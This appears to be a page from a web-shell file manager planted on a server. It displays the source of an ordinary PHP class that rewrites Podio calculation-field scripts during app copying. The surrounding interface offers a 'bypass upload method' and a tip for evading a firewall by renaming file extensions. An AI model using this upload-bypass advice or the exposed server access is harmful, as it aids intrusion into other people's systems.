Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
podiocopy.bitkit.dk
httpdocs
app
Modules
Application
File Content:
CalculationRepo.php
<?php /** * Created by PhpStorm. * User: jis * Date: 1/6/15 * Time: 5:17 PM */ namespace App\Modules\Application; use Exception; use Log; use MongoDB\BSON\ObjectId; use MongoId; use PodioAppField; class CalculationRepo { public function __construct() { $this->podioAppsModel = new PodioAppModel(); } public function updateCalculation($app, $passByApps = null) { //Log::info("updateCalculation: " . $app['app_id']); try { if ($passByApps) { if (in_array($app['app_id'], $passByApps)) { // already checked this app //Log::info("already checked this app:" . $app['app_id']); return null; } } $i = 0; $prevCount = 0; $count = 0; $calculationRepo = new CalculationRepo(); $missingFields = $this->arrayDiff($app['fields'], $app['new_fields']); $newFields = $app['new_fields']; $appFields = $app['fields']; foreach ($missingFields as $field) { if ($field['type'] == 'calculation' && $field['script_status'] == "not_updated") { $newScript = $calculationRepo->getNewScript($app, $field['script'], $passByApps); try { $attributes = array("type" => 'calculation', 'config' => array( 'label' => $field['label'], 'delta' => $field['delta'], 'settings' => array('script' => $newScript) )); $resp = PodioAppField::create($app['new_app_id'], $attributes); // update app $newFields[] = array("type" => 'calculation', 'label' => $field['label'], 'external_id' => $field['external_id'], 'field_id' => intval($resp)); foreach ($appFields as $appField) { if ($appField['field_id'] == $field['field_id']) { $appField[$field['field_id']]['script_status'] = "updated"; } } } catch (Exception $e) { log::error($e); $error_messages[] = array('error_message' => $e->getMessage(), 'error_trace' => $e->getTraceAsString()); $error_messages = $app['error_messages']; $this->podioAppsModel->update(array('_id' => $app['_id']), array('error_messages' => $error_messages)); } } $this->podioAppsModel->update(array('_id' => $app['_id']), array('fields' => $appFields, 'new_fields' => $newFields)); } } catch (Exception $e) { Log::error($e); } } public function getNewScript($app, $script, $passByApps) { log::info($script); $inExpression = "(in_\\d+_\\d+)"; $outExpression = "(out_\\d+_\\d+)"; $fieldExpression = "(field_\\d+)"; $inSumExpression = "(in_\\w+_\\d+_\\d+)"; $outSumExpression = "(out_\\w+_\\d+_\\d+)"; $fieldSumExpression = "(field_\\w+_\\d+)"; if (preg_match_all($inExpression, $script, $matches)) { foreach ($matches[0] as $match) { $newMatch = $this->makeNewInScript($app, $match, $passByApps); if ($newMatch) $script = str_replace($match, $newMatch, $script); } } if (preg_match_all($inSumExpression, $script, $matches)) { foreach ($matches[0] as $match) { $newMatch = $this->makeNewInScript($app, $match, $passByApps); if ($newMatch) $script = str_replace($match, $newMatch, $script); } } if (preg_match_all($outExpression, $script, $matches)) { foreach ($matches[0] as $match) { $newMatch = $this->makeNewOutScript($app, $match, $passByApps); if ($newMatch) { $script = str_replace($match, $newMatch, $script); } } } if (preg_match_all($outSumExpression, $script, $matches)) { Log::info('enter'); foreach ($matches[0] as $match) { $newMatch = $this->makeNewOutScript($app, $match, $passByApps); if ($newMatch) { $script = str_replace($match, $newMatch, $script); } } } if (preg_match_all($fieldExpression, $script, $matches)) { foreach ($matches[0] as $match) { $newMatch = $this->makeNewFieldScript($app, $match, $passByApps); if ($newMatch) $script = str_replace($match, $newMatch, $script); } } if (preg_match_all($fieldSumExpression, $script, $matches)) { foreach ($matches[0] as $match) { $newMatch = $this->makeNewFieldScript($app, $match, $passByApps); if ($newMatch) $script = str_replace($match, $newMatch, $script); } } log::info("New " . $script); return $script; } /** * @param $app - original app * @param $match - matched string * @param $passByApps * @return null|string out calculation * out calculation * make new script */ private function makeNewOutScript($app, $match, $passByApps) { $array = explode('_', $match); $count = count($array); $field1 = $array[$count - 2]; $field2 = $array[$count - 1]; // same app field id $newField1 = $newField2 = null; if (count($app['fields'])) { foreach ($app['fields'] as $field) { if ($field['field_id'] == $field2) { if (isset($field['relationApps'])) { $newField1 = $this->getNewFieldId($field['external_id'], $app['new_fields']); $fieldFound = false; //echo "<br/>newField1:$newField1"; foreach ($field['relationApps'] as $rApp) { $relationApp = $this->podioAppsModel->find(array('queue_id' => $app['queue_id'], 'app_id' => $rApp['app_id']), 1); if (count($relationApp['fields'])) { foreach ($relationApp['fields'] as $rField) { if ($rField['field_id'] . '' == $field1 . '') { $fieldFound = true; $newField2 = $this->getNewFieldId($rField['external_id'], $relationApp['new_fields']); break; } } } } if ($newField1 != null && $newField2 == null) { //todo field not found if ($fieldFound && isset($app['calculation_recursion']) && $app['calculation_recursion'] == "not_done") { foreach ($field['relationApps'] as $rApp) { $relationApp = $this->podioAppsModel->find(array('queue_id' => $app['queue_id'], 'app_id' => $rApp['app_id']), 1); $passByApps[] = $relationApp['app_id']; $this->updateCalculation($relationApp, $passByApps); } // all dependency are passed // update app - completed calculation_recursion $this->podioAppsModel->update(array('_id' => $app['_id']), array('calculation_recursion' => "done")); //updated $app = $this->podioAppsModel->findOne(array('_id' => new ObjectId($app['_id']))); $this->makeNewInScript($app, $match, $passByApps); } } } else { // no relation found } break; } } } // if ($newField1 != null && $newField2 != null) { $newField1 = is_null($newField1) ? $field2 : $newField1; $newField2 = is_null($newField2) ? $field1 : $newField2; $script = str_replace($field1, $newField2, $match); $script = str_replace($field2, $newField1, $script); return $script; // } else // return null; } private function makeNewFieldScript($app, $match, $passByApps) { $array = explode('_', $match); $newField1 = null; if (count($array) > 1) { $field1 = $array[1]; $fieldFound = false; foreach ($app['fields'] as $field) { if ($field['field_id'] == $field1) { $fieldFound = true; $newField1 = $this->getNewFieldId($field['external_id'], $app['new_fields']); } } if ($newField1 != null) { $script = str_replace($field1, $newField1, $match); return $script; } if (!$fieldFound && isset($app['calculation_recursion']) && $app['calculation_recursion'] == "not_done") { // todo field not found } } return null; } /** * @param $app - original app * @param $match - matched string * @param $passByApps * @return null|string In script * In script * make new script */ private function makeNewInScript($app, $match, $passByApps) { try { $dependencyApps = array(); // 1. find all apps which have this app as dependency // $apps_all = $this->podioAppsModel->find(array('queue_id' => $app['queue_id'], 'app_id' => array('$ne' => $app['app_id']))); $apps_all = $this->podioAppsModel->find(array('queue_id' => $app['queue_id'])); foreach ($apps_all as $dApp) { if (isset($dApp['dependencies'])) { if (in_array($app['app_id'], (array)$dApp['dependencies'])) { $dependencyApps[] = $dApp; } } } // 2. if (count($dependencyApps) > 0) { $array = explode('_', $match); if (count($array) > 2) { $counts = count($array); $field1 = $array[$counts - 2]; $field2 = $array[$counts - 1]; $newField1 = $newField2 = null; $fieldFound = false; foreach ($dependencyApps as $dependencyApp) { foreach ($dependencyApp['fields'] as $field) { if ($field['field_id'] == $field1) { $fieldFound = true; $newField1 = $this->getNewFieldId($field['external_id'], $dependencyApp['new_fields']); } if ($field['field_id'] == $field2) { $fieldFound = true; $newField2 = $this->getNewFieldId($field['external_id'], $dependencyApp['new_fields']); } if ($newField1 != null && $newField2 != null) break; } } if ($newField1 != null && $newField2 != null) { $newField1 = is_null($newField1) ? $field1 : $newField1; $newField2 = is_null($newField2) ? $field2 : $newField2; $script = str_replace($field1, $newField1, $match); $script = str_replace($field2, $newField2, $script); return $script; } else { //todo field not found if ($fieldFound && isset($app['calculation_recursion']) && $app['calculation_recursion'] == "not_done") { foreach ($dependencyApps as $dependencyApp) { $passByApps[] = $dependencyApp['app_id']; $this->updateCalculation($dependencyApp, $passByApps); } // all dependency are passed // update app - completed calculation_recursion $this->podioAppsModel->update(array('_id' => $app['_id']), array('calculation_recursion' => "done")); //updated $app = $this->podioAppsModel->findOne(array('_id' => new ObjectId($app['_id']))); $this->makeNewInScript($app, $match, $passByApps); } } } } return null; } catch (Exception $e) { log::error($e); return null; } } private function getNewFieldId($externalId, $newFields) { foreach ($newFields as $field) { if ($field['external_id'] == $externalId) { return $field['field_id']; } } return null; } private function arrayDiff($aArray1, $aArray2) { $aReturn = array(); foreach ($aArray1 as $mValue) { if ($this->inArrayCheck($aArray2, $mValue)) { $aReturn[] = $mValue; } } return $aReturn; } private function inArrayCheck($aArray2, $subArray) { foreach ($aArray2 as $mValue) { if ($mValue['type'] == $subArray['type'] && $mValue['external_id'] == $subArray['external_id']) return false; } return true; } }
Edit
Download
Unzip
Chmod
Delete